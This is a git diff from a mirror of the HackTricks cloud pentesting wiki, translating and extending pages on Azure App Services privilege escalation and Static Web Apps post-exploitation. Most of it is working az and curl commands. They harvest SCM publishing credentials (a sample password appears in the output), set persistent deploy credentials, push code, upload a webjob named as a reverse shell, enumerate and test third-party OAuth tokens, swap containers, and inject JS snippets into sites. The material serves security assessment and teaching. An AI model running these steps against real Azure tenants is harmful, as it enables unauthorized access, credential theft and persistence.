mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 13:13:06 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Services
|
||||
|
||||
Vir meer inligting oor Azure App dienste, kyk:
|
||||
For more information about Azure App services check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-services.md
|
||||
@@ -12,14 +12,17 @@ Vir meer inligting oor Azure App dienste, kyk:
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
|
||||
|
||||
Hierdie toestemmings laat toe om 'n **SSH shell** binne 'n webtoepassing te kry. Hulle laat ook toe om die toepassing te **debug**.
|
||||
These permissions allow to get a **SSH shell** inside a web app. They also allow to **debug** the application.
|
||||
|
||||
- **SSH in single command**:
|
||||
|
||||
- **SSH in een opdrag**:
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
- **Skep tonnel en verbind dan met SSH**:
|
||||
|
||||
- **Create tunnel and then connect to SSH**:
|
||||
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
@@ -32,140 +35,152 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
- **Debug die toepassing**:
|
||||
1. Installeer die Azure uitbreiding in VScode.
|
||||
2. Meld aan in die uitbreiding met die Azure rekening.
|
||||
3. Lys al die App dienste binne die intekening.
|
||||
4. Kies die App diens wat jy wil debugeer, regsklik en kies "Begin Debugeer".
|
||||
5. As die toepassing nie debuggings geaktiveer het nie, sal die uitbreiding probeer om dit te aktiveer, maar jou rekening het die toestemming `Microsoft.Web/sites/config/write` nodig om dit te doen.
|
||||
|
||||
### Verkry SCM Kredensiale & Aktiveer Basiese Verifikasie
|
||||
- **Debug the application**:
|
||||
1. Install the Azure extension in VScode.
|
||||
2. Login in the extension with the Azure account.
|
||||
3. List all the App services inside the subscription.
|
||||
4. Select the App service you want to debug, right click and select "Start Debugging".
|
||||
5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so.
|
||||
|
||||
Om die SCM kredensiale te verkry, kan jy die volgende **opdragte en toestemmings** gebruik:
|
||||
### Obtaining SCM Credentials & Enabling Basic Authentication
|
||||
|
||||
To obtain the SCM credentials, you can use the following **commands and permissions**:
|
||||
|
||||
- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call:
|
||||
|
||||
- Die toestemming **`Microsoft.Web/sites/publishxml/action`** laat toe om te bel:
|
||||
```bash
|
||||
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
[
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
|
||||
"publishMethod": "MSDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"ftpPassiveMode": "True",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
|
||||
"publishMethod": "FTP",
|
||||
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
|
||||
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
|
||||
"publishMethod": "ZipDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
}
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
|
||||
"publishMethod": "MSDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"ftpPassiveMode": "True",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
|
||||
"publishMethod": "FTP",
|
||||
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
|
||||
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
|
||||
"publishMethod": "ZipDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
}
|
||||
]
|
||||
```
|
||||
Let wel dat die **gebruikersnaam altyd dieselfde is** (behalwe in FTP wat die naam van die app aan die begin voeg) maar die **wagwoord is dieselfde** vir almal.
|
||||
|
||||
Boonop is die **SCM URL `<app-name>.scm.azurewebsites.net`**.
|
||||
Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them.
|
||||
|
||||
Moreover, the **SCM URL is `<app-name>.scm.azurewebsites.net`**.
|
||||
|
||||
- The permission **`Microsoft.Web/sites/config/list/action`** allows to call:
|
||||
|
||||
- Die toestemming **`Microsoft.Web/sites/config/list/action`** laat toe om te bel:
|
||||
```bash
|
||||
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
{
|
||||
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"kind": null,
|
||||
"location": "Canada Central",
|
||||
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"publishingPasswordHash": null,
|
||||
"publishingPasswordHashSalt": null,
|
||||
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"resourceGroup": "carlos_rg_3170",
|
||||
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
|
||||
"type": "Microsoft.Web/sites/publishingcredentials"
|
||||
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"kind": null,
|
||||
"location": "Canada Central",
|
||||
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"publishingPasswordHash": null,
|
||||
"publishingPasswordHashSalt": null,
|
||||
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"resourceGroup": "carlos_rg_3170",
|
||||
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
|
||||
"type": "Microsoft.Web/sites/publishingcredentials"
|
||||
}
|
||||
```
|
||||
Let op hoe die **bewyse dieselfde is** as in die vorige opdrag.
|
||||
|
||||
- 'n Ander opsie sou wees om **jou eie bewys te stel** en dit te gebruik:
|
||||
Note how the **credentials are the same** as in the previous command.
|
||||
|
||||
- Another option would be to **set you own creds** and use them:
|
||||
|
||||
```bash
|
||||
az webapp deployment user set \
|
||||
--user-name hacktricks \
|
||||
--password 'W34kP@ssw0rd123!'
|
||||
--user-name hacktricks \
|
||||
--password 'W34kP@ssw0rd123!'
|
||||
```
|
||||
Dan kan jy hierdie geloofsbriewe gebruik om **toegang tot die SCM en FTP platforms** te verkry. Dit is ook 'n uitstekende manier om volharding te handhaaf.
|
||||
|
||||
Onthou dat jy om toegang tot die SCM-platform vanaf die **web te verkry, moet toegang hê tot `<SCM-URL>/BasicAuth`**.
|
||||
Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence.
|
||||
|
||||
Remember that to access the SCM platform from the **web you need to access to `<SCM-URL>/BasicAuth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat elke gebruiker sy eie geloofsbriewe kan konfigureer deur die vorige opdrag aan te roep, maar as die gebruiker nie genoeg toestemming het om toegang tot die SCM of FTP te verkry nie, sal die geloofsbriewe nie werk nie.
|
||||
> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work.
|
||||
|
||||
- If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
|
||||
|
||||
- As jy sien dat daardie geloofsbriewe **REDACTED** is, is dit omdat jy **die SCM basiese verifikasie opsie moet aktiveer** en daarvoor het jy die tweede toestemming nodig (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Publiseer kode met SCM-akkrediteer
|
||||
|
||||
Net om geldige SCM-akkrediteer te hê, is dit moontlik om **kode** na die App-diens te **publiseer**. Dit kan gedoen word met die volgende opdrag.
|
||||
### Publish code using SCM credentials
|
||||
|
||||
Vir hierdie python voorbeeld kan jy die repo aflaai van https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, enige **veranderinge** maak wat jy wil en dan **zip dit deur: `zip -r app.zip .`**.
|
||||
Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command.
|
||||
|
||||
For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**.
|
||||
|
||||
Then you can **publish the code** in a web app with the following command:
|
||||
|
||||
Dan kan jy die **kode** in 'n webtoepassing publiseer met die volgende opdrag:
|
||||
```bash
|
||||
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
|
||||
```
|
||||
### Webjobs: Microsoft.Web/sites/publish/Action | SCM geloofsbriewe
|
||||
|
||||
Die genoemde Azure toestemming laat toe om verskeie interessante aksies uit te voer wat ook met die SCM geloofsbriewe uitgevoer kan word:
|
||||
### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials
|
||||
|
||||
The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials:
|
||||
|
||||
- Read **Webjobs** logs:
|
||||
|
||||
- Lees **Webjobs** logs:
|
||||
```bash
|
||||
# Using Azure credentials
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
@@ -173,108 +188,123 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az
|
||||
|
||||
# Using SCM username and password:
|
||||
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
|
||||
--user '<username>:<password>' -v
|
||||
--user '<username>:<password>' -v
|
||||
```
|
||||
- Lees **Webjobs** bronnekode:
|
||||
|
||||
- Read **Webjobs** source code:
|
||||
|
||||
```bash
|
||||
# Using SCM username and password:
|
||||
# Find all the webjobs inside:
|
||||
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
|
||||
--user '<username>:<password>'
|
||||
--user '<username>:<password>'
|
||||
|
||||
# e.g.
|
||||
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
- Skep **deurlopende Webjob**:
|
||||
|
||||
- Create **continuous Webjob**:
|
||||
|
||||
```bash
|
||||
# Using Azure permissions
|
||||
az rest \
|
||||
--method put \
|
||||
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
|
||||
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
|
||||
--body "@/Users/username/Downloads/rev.js" \
|
||||
--resource "https://management.azure.com/"
|
||||
--method put \
|
||||
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
|
||||
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
|
||||
--body "@/Users/username/Downloads/rev.js" \
|
||||
--resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM credentials
|
||||
curl -X PUT \
|
||||
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
|
||||
-H 'Content-Disposition: attachment; filename=rev.js' \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
|
||||
-H 'Content-Disposition: attachment; filename=rev.js' \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
|
||||
|
||||
Hierdie toestemmings laat toe om 'n **bestuurde identiteit** aan die App-diens toe te ken, so as 'n App-diens voorheen gecompromitteer was, sal dit die aanvaller in staat stel om nuwe bestuurde identiteite aan die App-diens toe te ken en **privileges te verhoog** na hulle.
|
||||
These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them.
|
||||
|
||||
```bash
|
||||
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
Hierdie toestemming laat toe om die **verbindingstringe** en die **appsettings** van die App-diens te lys, wat sensitiewe inligting soos databasisakkrediteerbes kan bevat.
|
||||
This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials.
|
||||
|
||||
```bash
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
```
|
||||
### Lees Geconfigureerde Derdeparty Kredensiale
|
||||
|
||||
Deur die volgende opdrag uit te voer, is dit moontlik om **die derdeparty kredensiale** wat in die huidige rekening geconfigureer is, te lees. Let daarop dat as daar byvoorbeeld sommige Github-kredensiale in 'n ander gebruiker geconfigureer is, jy nie die token van 'n ander een sal kan toegang nie.
|
||||
### Read Configured Third Party Credentials
|
||||
|
||||
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
|
||||
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Hierdie opdrag gee tokens terug vir Github, Bitbucket, Dropbox en OneDrive.
|
||||
|
||||
Hier is 'n paar opdragvoorbeelde om die tokens te kontroleer:
|
||||
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
|
||||
|
||||
Here you have some command examples to check the tokens:
|
||||
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
|
||||
### Update App Code from the source
|
||||
|
||||
- As die gekonfigureerde bron 'n derdeparty verskaffer soos Github, BitBucket of 'n Azure Repository is, kan jy die **kode** van die App diens opdateer deur die bronkode in die repository te kompromitteer.
|
||||
- As die app gekonfigureer is om 'n **remote git repository** (met gebruikersnaam en wagwoord) te gebruik, is dit moontlik om die **URL en basiese auth akrediteerlinge** te kry om te kloon en veranderinge te stoot met:
|
||||
- Met die toestemming **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
|
||||
- Met die toestemming **`Microsoft.Web/sites/config/list/action`**:
|
||||
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
|
||||
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- As die app gekonfigureer is om 'n **local git repository** te gebruik, is dit moontlik om die **repository** te **kloon** en **veranderinge** daaraan te stoot:
|
||||
- Met die toestemming **`Microsoft.Web/sites/sourcecontrols/read`**: Jy kan die URL van die git repo kry met `az webapp deployment source show --name <app-name> --resource-group <res-group>`, maar dit gaan dieselfde wees as die SCM URL van die app met die pad `/<app-name>.git` (bv. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
|
||||
- Om die SCM akrediteerling te kry, het jy die toestemming nodig:
|
||||
- **`Microsoft.Web/sites/publishxml/action`**: Dan voer `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` uit.
|
||||
- **`Microsoft.Web/sites/config/list/action`**: Dan voer `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>` uit.
|
||||
- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository.
|
||||
- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with:
|
||||
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
|
||||
- Using the permission **`Microsoft.Web/sites/config/list/action`**:
|
||||
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
|
||||
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it:
|
||||
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name <app-name> --resource-group <res-group>`, but it's going to be the same as the the SCM URL of the app with the path `/<app-name>.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
|
||||
- To get the SCM credential you need the permission:
|
||||
- **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
|
||||
- **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat dit, met die toestemming `Microsoft.Web/sites/config/list/action` en die SCM akrediteerlinge, altyd moontlik is om in 'n webapp te ontplooi (selfs al is dit gekonfigureer om 'n derdeparty verskaffer te gebruik) soos in 'n vorige afdeling genoem.
|
||||
> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section.
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat dit, met die onderstaande toestemmings, ook **moontlik is om 'n arbitrêre houer uit te voer** selfs al is die webapp anders gekonfigureer.
|
||||
> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently.
|
||||
|
||||
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
|
||||
|
||||
Dit is die stel toestemmings wat toelaat om die **houer wat deur 'n webapp gebruik word** te **wysig**. 'n Aanvaller kan dit misbruik om 'n webapp 'n kwaadwillige houer te laat uitvoer.
|
||||
This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a malicious container.
|
||||
|
||||
```bash
|
||||
az webapp config container set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,296 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
For more information about this service check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).
|
||||
|
||||
The fllowing command create an snippet that will always be loaded by the web app::
|
||||
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
### Read Configured Third Party Credentials
|
||||
|
||||
As explained in the App Service section:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
|
||||
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
|
||||
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
|
||||
|
||||
Here you have some command examples to check the tokens:
|
||||
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
